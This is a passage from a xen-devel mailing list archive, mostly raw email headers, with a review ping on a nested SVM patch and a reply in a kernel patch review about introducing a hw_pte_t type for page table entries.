 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; none
From: Abdelkareem Abdelsaamad <abdelkareem.abdelsaamad@citrix.com>
To: xen-devel@lists.xenproject.org
Cc: jbeulich@suse.com,
	andrew.cooper3@citrix.com,
	roger.pau@citrix.com,
	jason.andryuk@amd.com,
	teddy.astie@vates.tech
Subject: PING: Re: [PATCH v2] nSVM: Check injected event consistency
Date: Fri, 31 Jul 2026 11:01:05 +0100
Message-ID: <20260731100110.2204957-1-abdelkareem.abdelsaamad@citrix.com>
X-Mailer: git-send-email 2.53.0
In-Reply-To: <d7f21b51072743e5fb8743db53148231fef6fbb7.1784190077.git.abdelkareem.abdelsaamad@citrix.com>
References: <d7f21b51072743e5fb8743db53148231fef6fbb7.1784190077.git.abdelkareem.abdelsaamad@citrix.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-720697/1785492244-F0EA32AC-98BE6D7B/0/0
X-purgate-type: clean
X-purgate-size: 333

Hey,

Friendly ping on this patch.

This revision, I think, is addressing all comments\feedback received from
revision 1.

Could you please take another look when you have the time? If it looks good,
I would appreciate an Acked-by or Reviewed-by; otherwise, Iâ€™m happy to
iterate on any further feedback.

--Abdelkareem


From xen-devel-bounces@lists.xenproject.org Fri Jul 31 10:20:57 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 31 Jul 2026 10:20:57 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1378981.1623929 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpkMF-0003Ms-2q; Fri, 31 Jul 2026 10:20:51 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1378981.1623929; Fri, 31 Jul 2026 10:20:51 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpkMF-0003Ml-08; Fri, 31 Jul 2026 10:20:51 +0000
Received: by outflank-mailman (input) for mailman id 1378981;
 Fri, 31 Jul 2026 10:20:49 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Usama.Anjum@arm.com>) id 1wpkMD-0003Mf-9y
 for xen-devel@lists.xenproject.org; Fri, 31 Jul 2026 10:20:49 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpkMC-00650t-Br
 for xen-devel@lists.xenproject.org; Fri, 31 Jul 2026 12:20:48 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Usama.Anjum@arm.com>)
 id 6a6c76f1-5cb7-0a2a0a5109dd-0a2a450ab530-36
 for <xen-devel@lists.xenproject.org>; Fri, 31 Jul 2026 12:20:47 +0200
Received: from [40.107.130.46]
 (helo=MRWPR03CU001.outbound.protection.outlook.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <Usama.Anjum@arm.com>)
 id 6a6c76fe-f2d2-0a2a450a0019-286b822e4c7a-3
 for <xen-devel@lists.xenproject.org>; Fri, 31 Jul 2026 12:20:46 +0200
Received: from DU2PR04CA0220.eurprd04.prod.outlook.com (2603:10a6:10:2b1::15)
 by DU4PR08MB11717.eurprd08.prod.outlook.com (2603:10a6:10:643::22)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.270.15; Fri, 31 Jul
 2026 10:20:42 +0000
Received: from DU2PEPF00028D04.eurprd03.prod.outlook.com
 (2603:10a6:10:2b1:cafe::62) by DU2PR04CA0220.outlook.office365.com
 (2603:10a6:10:2b1::15) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.270.15 via Frontend Transport; Fri,
 31 Jul 2026 10:20:41 +0000
Received: from outbound-uk1.az.dlp.m.darktrace.com (4.158.2.129) by
 DU2PEPF00028D04.mail.protection.outlook.com (10.167.242.164) with Microsoft
 SMTP Server (version=TLS1_3, cipher=TLS_AES_256_GCM_SHA384) id 15.21.270.5
 via Frontend Transport; Fri, 31 Jul 2026 10:20:41 +0000
Received: from AM0PR08MB3410.eurprd08.prod.outlook.com (2603:10a6:208:df::33)
 by GV2PR08MB11278.eurprd08.prod.outlook.com (2603:10a6:150:2f9::7)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.270.15; Fri, 31 Jul
 2026 10:19:34 +0000
Received: from AM0PR08MB3410.eurprd08.prod.outlook.com
 ([fe80::b6cc:973e:a807:c3d3]) by AM0PR08MB3410.eurprd08.prod.outlook.com
 ([fe80::b6cc:973e:a807:c3d3%6]) with mapi id 15.21.0270.009; Fri, 31 Jul 2026
 10:19:33 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=arm.com header.i="@arm.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"; dkim=pass header.s=selector1 header.d=arm.com header.i="@arm.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=2; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=pass;
 b=tfvxCysufYP2/Aj3rVfYlV7QM0IRfSDedX6Nae2AXjuVqubo/fX49ecMAZMlOqYh6nAqbPlpyWFYfJ6Xe/wr2IQBQ4t18+oiY2ak5dVmQCr7CGcHYr7gpW8pMpps5C1itk+U84qnS3ZVx3dBnkkTHTPi6PzVxv8fwY4n51ZFZm1SzGNmUChbia3+AbT6aZwe8o/3fHUVFk47H/40wPo8BopKtw807TAEp2z2wKVP2JKL3Yy18UBT4oh2HbB59Ak7qufDzfCAS0QEwbh8KLm1cNh3yBrXoQaQuxocVrTmacM7RayClBb2TLPBqt39M4dGRsu6HPkIiDQEXsObcrjsWw==
ARC-Message-Signature: i=2; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=/9bGte8eqdxuMMzc6Sl3gDguhLqQI6GBUeVCbvVeu8A=;
 b=mNVZB9SyaxZ6Xj3wn+Uvbe34FtEqty4UzniTgmvDHVr9e45fZgqPwaAFPghqIw14E3asWrQiCwDRS+BBwXiGVYYh0qmh2cuXkIUy3oFKPbeQ6+OIpVJbUdGj6kOth9oftC+QcdGgOD4Br4SwQCoAReXhRmyhDqHHszC2ySV7Wv7GMwtkwVbzAbLX/p5hHn0Gsg0/7Qctu2XiVyKYXf8X65hTZ4+k+cWUFnN3H+W2aB+PWkI5YxQaUw007litHRpBC9qT+02G9Up2v0Kryz5Rir3ei0bym9uVKBkM4XQHkJGPdaLBw6YAro1ya6MC+FhBsWw28QTKhKcwzKPmV373+w==
ARC-Authentication-Results: i=2; mx.microsoft.com 1; spf=pass (sender ip is
 4.158.2.129) smtp.rcpttodomain=suse.com smtp.mailfrom=arm.com; dmarc=pass
 (p=none sp=none pct=100) action=none header.from=arm.com; dkim=pass
 (signature was verified) header.d=arm.com; arc=pass (0 oda=1 ltdi=1
 spf=[1,1,smtp.mailfrom=arm.com] dkim=[1,1,header.d=arm.com]
 dmarc=[1,1,header.from=arm.com])
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=arm.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=/9bGte8eqdxuMMzc6Sl3gDguhLqQI6GBUeVCbvVeu8A=;
 b=cB5r1Whn7zm4IjrU8ljCV0Q7/8waXW+Snz5qDVSFDT6iJQDf0Zs6ZV0KTsHR/rkcn4OBTHXCurcfBr79XtPVWA0L5Wdq7yzDThpWX+1uv0kvDXKB+/ZRMO+e2OcLAUCpFyIKwzCRYSTg/RxY/sHXEpuGqUrl+r5LTCe6RAf2ans=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 4.158.2.129)
 smtp.mailfrom=arm.com; dkim=pass (signature was verified)
 header.d=arm.com;dmarc=pass action=none header.from=arm.com;
Received-SPF: Pass (protection.outlook.com: domain of arm.com designates
 4.158.2.129 as permitted sender) receiver=protection.outlook.com;
 client-ip=4.158.2.129; helo=outbound-uk1.az.dlp.m.darktrace.com; pr=C
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=RA36WTR3u3SMRbdo4Q+GY9qftlofBtyl26SpHhVA1QL3wPiNHvi7neI8BbiGFjcNhz1+h1QDKcE0ZH29no90uYmqtrLrQnwRJD280YKRU7/gqA0+0tIUTJFKURvMSdpBS7eVPTouH84B16YiKeL88sietYvZ7XOa71dlK+ScH4hQhGonkDNwW4F/HaN4Nyh4duISMR/oBfVW6+GEH+aluV/FbgSsThnzenNYe2xxWAHtZIGyfkN7TPij1BBo+UJtNXsts1wyxh1TmDRLjnx5oc+i/7JjfOgPTZwDIaMTQt6vUTHSC5NoadpfnbkxWOFTla/gP6QR0jbh50pkYvcHGA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=/9bGte8eqdxuMMzc6Sl3gDguhLqQI6GBUeVCbvVeu8A=;
 b=g05P1/GLRVOKiLbD7Hb/VMYlyYCDfmaEF5OIYvGINkGPWcIpqHcFwbqMc0/AWM6+ODDDSdiJpDyVHnpd0FgL5QoOLa4CXqhA66pWz1YIkKejm8m0xccvKH5Uf2JK2DOaHrqRyEuyXM/tSe6/2ajwLwYxrWeEAzDI60Z1jX6CtU0kSJzN1NDxpWBMqJfRS4KJG6uG36/NayfVcXgpDfQZ0uiyJynnKgLdvaqB8OMJbDhMLUfxgeKSCY1pf/MDs5FtIpO0SH5u3N668OxAR5xp4xyyRMpEpZ+kXYeUJ1kqePf0+jMbrTuI7OlNQsxC6CaqVaoszEtJ6wUT2nO3X0+cmg==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=arm.com; dmarc=pass action=none header.from=arm.com; dkim=pass
 header.d=arm.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=arm.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=/9bGte8eqdxuMMzc6Sl3gDguhLqQI6GBUeVCbvVeu8A=;
 b=cB5r1Whn7zm4IjrU8ljCV0Q7/8waXW+Snz5qDVSFDT6iJQDf0Zs6ZV0KTsHR/rkcn4OBTHXCurcfBr79XtPVWA0L5Wdq7yzDThpWX+1uv0kvDXKB+/ZRMO+e2OcLAUCpFyIKwzCRYSTg/RxY/sHXEpuGqUrl+r5LTCe6RAf2ans=
Authentication-Results-Original: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=arm.com;
Message-ID: <9ac33752-b587-4901-b5f2-473e573d7ede@arm.com>
Date: Fri, 31 Jul 2026 11:19:32 +0100
User-Agent: Mozilla Thunderbird
Cc: usama.anjum@arm.com, Jani Nikula <jani.nikula@linux.intel.com>,
 Joonas Lahtinen <joonas.lahtinen@linux.intel.com>,
 Rodrigo Vivi <rodrigo.vivi@intel.com>, Tvrtko Ursulin
 <tursulin@ursulin.net>, David Airlie <airlied@gmail.com>,
 Simona Vetter <simona@ffwll.ch>, Dimitri Sivanich
 <dimitri.sivanich@hpe.com>, Arnd Bergmann <arnd@arndb.de>,
 Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
 "James E.J. Bottomley" <James.Bottomley@hansenpartnership.com>,
 Helge Deller <deller@gmx.de>, Juergen Gross <jgross@suse.com>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Muchun Song <muchun.song@linux.dev>, Oscar Salvador <osalvador@suse.de>,
 Andrew Morton <akpm@linux-foundation.org>,
 "Liam R. Howlett" <liam@infradead.org>, Lorenzo Stoakes <ljs@kernel.org>,
 Will Deacon <will@kernel.org>, "Aneesh Kumar K.V" <aneesh.kumar@kernel.org>,
 Nick Piggin <npiggin@gmail.com>, Peter Zijlstra <peterz@infradead.org>,
 Andrey Ryabinin <ryabinin.a.a@gmail.com>,
 David Hildenbrand <david@kernel.org>,
 Pasha Tatashin <pasha.tatashin@soleen.com>, Chris Li <chrisl@kernel.org>,
 Kairui Song <kasong@tencent.com>, Uladzislau Rezki <urezki@gmail.com>,
 Steven Rostedt <rostedt@goodmis.org>, Masami Hiramatsu
 <mhiramat@kernel.org>, Alexei Starovoitov <ast@kernel.org>,
 Daniel Borkmann <daniel@iogearbox.net>, Andrii Nakryiko <andrii@kernel.org>,
 Eduard Zingerman <eddyz87@gmail.com>,
 Kumar Kartikeya Dwivedi <memxor@gmail.com>, Ingo Molnar <mingo@redhat.com>,
 Arnaldo Carvalho de Melo <acme@kernel.org>,
 Namhyung Kim <namhyung@kernel.org>, SJ Park <sj@kernel.org>,
 "Matthew Wilcox (Oracle)" <willy@infradead.org>, Jan Kara <jack@suse.cz>,
 Jason Gunthorpe <jgg@ziepe.ca>, Leon Romanovsky <leon@kernel.org>,
 Miaohe Lin <linmiaohe@huawei.com>, Dennis Zhou <dennis@kernel.org>,
 Tejun Heo <tj@kernel.org>, Christoph Lameter <cl@gentwo.org>,
 Mike Rapoport <rppt@kernel.org>, Johannes Weiner <hannes@cmpxchg.org>,
 ziy@nvidia.com, pfalcato@suse.de, agordeev@linux.ibm.com,
 ryan.roberts@arm.com, linux-kernel@vger.kernel.org,
 intel-gfx@lists.freedesktop.org, dri-devel@lists.freedesktop.org,
 linux-parisc@vger.kernel.org, xen-devel@lists.xenproject.org,
 linux-mm@kvack.org, linux-fsdevel@vger.kernel.org,
 linux-arch@vger.kernel.org, kasan-dev@googlegroups.com,
 linux-trace-kernel@vger.kernel.org, bpf@vger.kernel.org,
 linux-perf-users@vger.kernel.org, damon@lists.linux.dev
Subject: Re: [PATCH RFC 01/11] mm: introduce hw_pte_t for PTE table storage
To: Anshuman Khandual <anshuman.khandual@arm.com>,
 =?UTF-8?B?SsO8cmdlbiBHcm/Dnw==?= <jgross@suse.com>
References: <20260727164715.2866609-1-usama.anjum@arm.com>
 <20260727164715.2866609-2-usama.anjum@arm.com>
 <6xah74eadjmo2bozyr62wcxo4hhpsiufx2mshh7tztyy2dzzps@63m327m7pl5u>
From: Muhammad Usama Anjum <usama.anjum@arm.com>
Content-Language: en-US
In-Reply-To: <6xah74eadjmo2bozyr62wcxo4hhpsiufx2mshh7tztyy2dzzps@63m327m7pl5u>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-ClientProxiedBy: LO4P265CA0321.GBRP265.PROD.OUTLOOK.COM
 (2603:10a6:600:390::12) To AM0PR08MB3410.eurprd08.prod.outlook.com
 (2603:10a6:208:df::33)
MIME-Version: 1.0
X-MS-TrafficTypeDiagnostic:
	AM0PR08MB3410:EE_|GV2PR08MB11278:EE_|DU2PEPF00028D04:EE_|DU4PR08MB11717:EE_
X-MS-Office365-Filtering-Correlation-Id: b9a6f79d-2568-4a69-150e-08deeeed5fa6
x-checkrecipientrouted: true
NoDisclaimer: true
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam-Untrusted:
 BCL:0;ARA:13230040|366016|23010399003|1800799024|7416014|376014|18002099003|22082099003|4143699003|11063799006|10067099003|56012099006|6133799003;
X-Microsoft-Antispam-Message-Info-Original:
 N2wlK7+ZRozJGmK0N2Kg0R4yJ5wOgZ0BD8bcmN9ckzK3UKJ2F4czXbrv7jZaWgvVUj2tZLGIy6TXZHVj8n7cCBGjmutqs1o22knL3OyEpVQm205U7W840n0BzB93Ls3ya0MZ3n6q0MiN1ZCHJEdhHH4FmcCqbn8amDqXdOS2JFy534KAR6w8Hode3mZKdiNOi4XHA4EMm4R4NmgNqv8BTHU1o1mrdwRGbDcLLTL/Uhcr5Zj2H23tyNGUWdzcb9/6Z+9bMpCyFaPdcHduC8sbRRNlTmKgEgaDWxAsRtFcZniZDxYHOO0wMLuvu/FIbZEpfc9mggB79qJPf78hwUaK6sCBMcFbFO1lIgj/xFLfWAMPLe5iSzSFLg+eGHiNLL7zlhllC5XRJ7sba3tAP1A5lpnMKQQ5InaimxmgfYr2EcWK5+6aNVUYhSXkZdPq7CHlTQ18QsDrrhmDdOi8MKesiDc4vc9VxGb/uuv4aw5rgyKAM7jO0sO/zN+AdxTpB9Vtc10PElC4ddyBnsaMt+zoJSiIhtu0ZzbyjOzgxOvSTZh9hr8fCJVH9BN7z4kFR0HmSW0uqGKEUsWoW1c6OA7FbV3EauzK0vM4jQZyqMS9znmYSKnSFtSl9lnT1Aih3rkG/pMOiNT7X9Xk05Vfb8Gxfo07Avde+ZzbUlyDqgQmWys=
X-Forefront-Antispam-Report-Untrusted:
 CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:AM0PR08MB3410.eurprd08.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(366016)(23010399003)(1800799024)(7416014)(376014)(18002099003)(22082099003)(4143699003)(11063799006)(10067099003)(56012099006)(6133799003);DIR:OUT;SFP:1101;
X-Exchange-RoutingPolicyChecked:
 jppYn+MrAjPlJcJEzGfQ1jvETR90CuL564Cvd3s5pQpSXb3FjdEezsTcu1l7Aw7vpXIhIhpPA4Fvjw06egzld5SxxNDODfBO3WGFQpssEDJnL8PWJRIWECUYo7TnCKu253Ngg+5ToeXKLgfCk4brktdsgrj7zk4W1crtnbpBsYC4BT30W2CElHRbMGQdk/8tVzUPeMqdRQtqQ59xKrgLxPMc3xsyjg/9StkRA3HpzyMoGJG+NEI4gVuZt6ij1C/0H9fj2NUUWGDqXiOrjsESkwvO2Ls29lOKFjcW8bSAMO3Y/NNJVoKjg8ty9x9AJ/wLhzWBu8NL0DMS7x6LKw8FeQ==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: GV2PR08MB11278
X-EOPAttributedMessage: 0
X-MS-Exchange-Transport-CrossTenantHeadersStripped:
 DU2PEPF00028D04.eurprd03.prod.outlook.com
X-MS-PublicTrafficType: Email
X-MS-Office365-Filtering-Correlation-Id-Prvs:
	8eb83e79-85e5-447e-8f2c-08deeeed372f
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|7416014|36860700016|35042699022|376014|23010399003|14060799003|82310400026|1800799024|13003099007|6133799003|56012099006|10067099003|11063799006|4143699003|22082099003|18002099003;
X-Microsoft-Antispam-Message-Info:
	+cxUqkDAVXwJfo0/J+Unmn/UU7Qxuv/kG8jo/E6OUUholiIyLeeBG1dyUMGC+JTI9/jnKsgcOlSVUIBuMMp3/3ikCCv2hJ/V2g5yI1OLgpVuMK+GMlXGoJtSKO1RMevMxcrfaMZou7AdqgeW2JMX0/XGmyl0uMrkiB9oKgwkc3A63dlnJXUhvlQVXVNxDZt6eywKtDPuF8dUfhX0VF+bXa6O9rbSBVEymm+otUnW1knYJyYfyibDgoQMKcfmIdMEqSoJLQ11wplggq5TvNEDSxz7teq6AUCxWxMBBZVFyaP8PVD/04Yh2ME91ljkkyWMpDlxBIUY8opxOs0RLDbXZ/Ja2cbme9xQ6tbxbWQTrGqorky5G2ImsDl1F6GCBMknxiouThBH4HDrLiPURJtdyNY6JOepeeZyOQHOBLfmJQRMsh1O5L+y5ZUFHC50EF1Z54PU4auvrz9v3uu+cShBKToUDud39c30jHhrAI6XYaXolrZLzMmJtESd9+1DR1bQfg+V5fekbrMwodajnxapLGRksztZgQPm2BJ76/syx7w3iVWoZLJ8ARJhmzWnsmgyCPKnMtkFO67yBs+G2E2F5gRyAouK63Bt/OYPIAx8k+XFNslT0pGZeinwIQ0zoPsizMRGODBD4XgLp8hD2elCKAETHGbAIZ/Zq8dWJhpohwnTgqc8vFEGqKUnXtJIV7qEN5eKWDEvXQBX6SXujBOsug==
X-Forefront-Antispam-Report:
	CIP:4.158.2.129;CTRY:GB;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:outbound-uk1.az.dlp.m.darktrace.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(7416014)(36860700016)(35042699022)(376014)(23010399003)(14060799003)(82310400026)(1800799024)(13003099007)(6133799003)(56012099006)(10067099003)(11063799006)(4143699003)(22082099003)(18002099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	RBLROo5LiXS9uRgF34qTjim0wy19yK/eljpxXW0xvMggAoapFBz7lMXDw5Mwvqv2Fs3OGn1gD5anpvnhGf58NYa1Tk+IDYCnJ5kwjQkQ/koCnaFQp4JHJ9KgOIXnbj5bHJd+BEzgzzkuKX7a/5n9xPS7GbQDLZN62PaLbQxFVXUgYRkJR9ggJeHL3xiLcIJ5MzT62aKAKva3MI16Rc6y9uurr7Hsm9UGFdmC+GR9lCISR21RBLN+na/snbZrYb57C6grujG9yUHTbBopj+KIB10zX8OWI0IunkHd2NFpteTKd8WUZ0arTedwGYlI5/dETTMvtV+hj+hCWxB8C2Xb4PMbgL5u7ZD4CkT12KrJecNDeC0MEdggInAVlZv2peDghr0BwJQEFld88znFQL2v8a1OF8pRuyTqfhrvVZTPQUIL4KlUpwX8uk7u5PiNHSSD
X-OriginatorOrg: arm.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 31 Jul 2026 10:20:41.1870
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: b9a6f79d-2568-4a69-150e-08deeeed5fa6
X-MS-Exchange-CrossTenant-Id: f34e5979-57d9-4aaa-ad4d-b122a662184d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=f34e5979-57d9-4aaa-ad4d-b122a662184d;Ip=[4.158.2.129];Helo=[outbound-uk1.az.dlp.m.darktrace.com]
X-MS-Exchange-CrossTenant-AuthSource:
	DU2PEPF00028D04.eurprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: DU4PR08MB11717
X-purgate-ID: tlsNG-4011c0/1785493247-51AC4CFC-04DFDE1E/0/0
X-purgate-type: clean
X-purgate-size: 2404

On 31/07/2026 6:49 am, Anshuman Khandual wrote:
> On Mon, Jul 27, 2026 at 05:46:52PM +0100, Muhammad Usama Anjum wrote:
>> pte_t is used both for logical PTE values and for entries stored in a PTE
>> table, so pte_t * does not distinguish a pointer to a copied value from a
>> pointer to table storage.
> 
> Should we rather call them as "Linux PTE" and "HW PTE" instead ?
> 
> Some like "Logical PTE" does not really sound very clear on what it represents.
Yeah, I should make distinction more visible in the cover letter.

> 
>>
>> Introduce hw_pte_t as the generic name for a PTE table element. Define it
>> as an alias of pte_t by default so architectures retain their existing
>> representation and behavior until they opt in to a distinct storage type.
> 
> Makes sense.
> 
>>
>> Include asm/page.h so pte_t is defined before the generic alias.
>>
>> Signed-off-by: Muhammad Usama Anjum <usama.anjum@arm.com>
>> ---
>>  MAINTAINERS                   |  1 +
>>  include/linux/pgtable_types.h | 11 +++++++++++
>>  2 files changed, 12 insertions(+)
>>  create mode 100644 include/linux/pgtable_types.h
>>
>> diff --git a/MAINTAINERS b/MAINTAINERS
>> index 15dd00c7ffec5..78aac05949829 100644
>> --- a/MAINTAINERS
>> +++ b/MAINTAINERS
>> @@ -16981,6 +16981,7 @@ F:	include/linux/mmu_notifier.h
>>  F:	include/linux/pagewalk.h
>>  F:	include/linux/pgalloc.h
>>  F:	include/linux/pgtable.h
>> +F:	include/linux/pgtable_types.h
> 
> s/pgtable_types.h/pgtable_hw_types.h ?
I prefer shorter file names.

> 
>>  F:	include/linux/ptdump.h
>>  F:	include/linux/vmpressure.h
>>  F:	include/linux/vmstat.h
>> diff --git a/include/linux/pgtable_types.h b/include/linux/pgtable_types.h
>> new file mode 100644
>> index 0000000000000..ed5dba42a4f8c
>> --- /dev/null
>> +++ b/include/linux/pgtable_types.h
>> @@ -0,0 +1,11 @@
>> +/* SPDX-License-Identifier: GPL-2.0 */
>> +#ifndef _LINUX_PGTABLE_TYPES_H
>> +#define _LINUX_PGTABLE_TYPES_H
>> +
>> +#include <asm/page.h>
>> +
>> +#ifndef __HAVE_ARCH_HW_PTE_T
> 
> __HAVE_ARCH_HW_PTE_T macro is a better approach here or a config ARCH_HAS_HW_PTE_T
> based selective platform subscription should be introduced instead ?
Moving to CONFIG_ARCH_HAS_PTE_T from the next version as suggested here [1].

[1] https://lore.kernel.org/all/78a0402d-5436-4aab-a704-90fab56eec50@kernel.org 

-- 
Thanks,
Usama



From xen-devel-bounces@lists.xenproject.org Fri Jul 31 13:28:36 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 31 Jul 2026 13:28:36 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1379127.1623941 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpnHf-0003cv-PL; Fri, 31 Jul 2026 13:28:19 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1379127.1623941; Fri, 31 Jul 2026 13:28:19 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpnHf-0003co-Lm; Fri, 31 Jul 2026 13:28:19 +0000
Received: by outflank-mailman (input) for mailman id 1379127;
 Fri, 31 Jul 2026 13:28:18 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <rostedt@goodmis.org>) id 1wpnHe-0003cf-Rn
 for xen-devel@lists.xenproject.org; Fri, 31 Jul 2026 13:28:18 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpnHd-00GynR-LD
 for xen-devel@lists.xenproject.org; Fri, 31 Jul 2026 15:28:17 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <rostedt@goodmis.org>)
 id 6a6ca2df-2eae-0a2a0a5409dd-0a2a4501860c-42
 for <xen-devel@lists.xenproject.org>; Fri, 31 Jul 2026 15:28:16 +0200
Received: from [216.40.44.10] (helo=relay.hostedemail.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <rostedt@goodmis.org>)
 id 6a6ca2ef-5984-0a2a45010019-d8282c0ae97b-3
 for <xen-devel@lists.xenproject.org>; Fri, 31 Jul 2026 15:28:16 +0200
Received: from omf12.hostedemail.com (lb01a-stub [10.200.18.249])
 by unirelay05.hostedemail.com (Postfix) with ESMTP id EF5564042A;
 Fri, 31 Jul 2026 13:28:09 +0000 (UTC)
Received: from [HIDDEN] (Authenticated sender: rostedt@goodmis.org) by
 omf12.hostedemail.com (Postfix) with ESMTPA id E384117; 
 Fri, 31 Jul 2026 13:27:45 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; none
Date: Fri, 31 Jul 2026 09:28:25 -0400
From: Steven Rostedt <rostedt@goodmis.org>
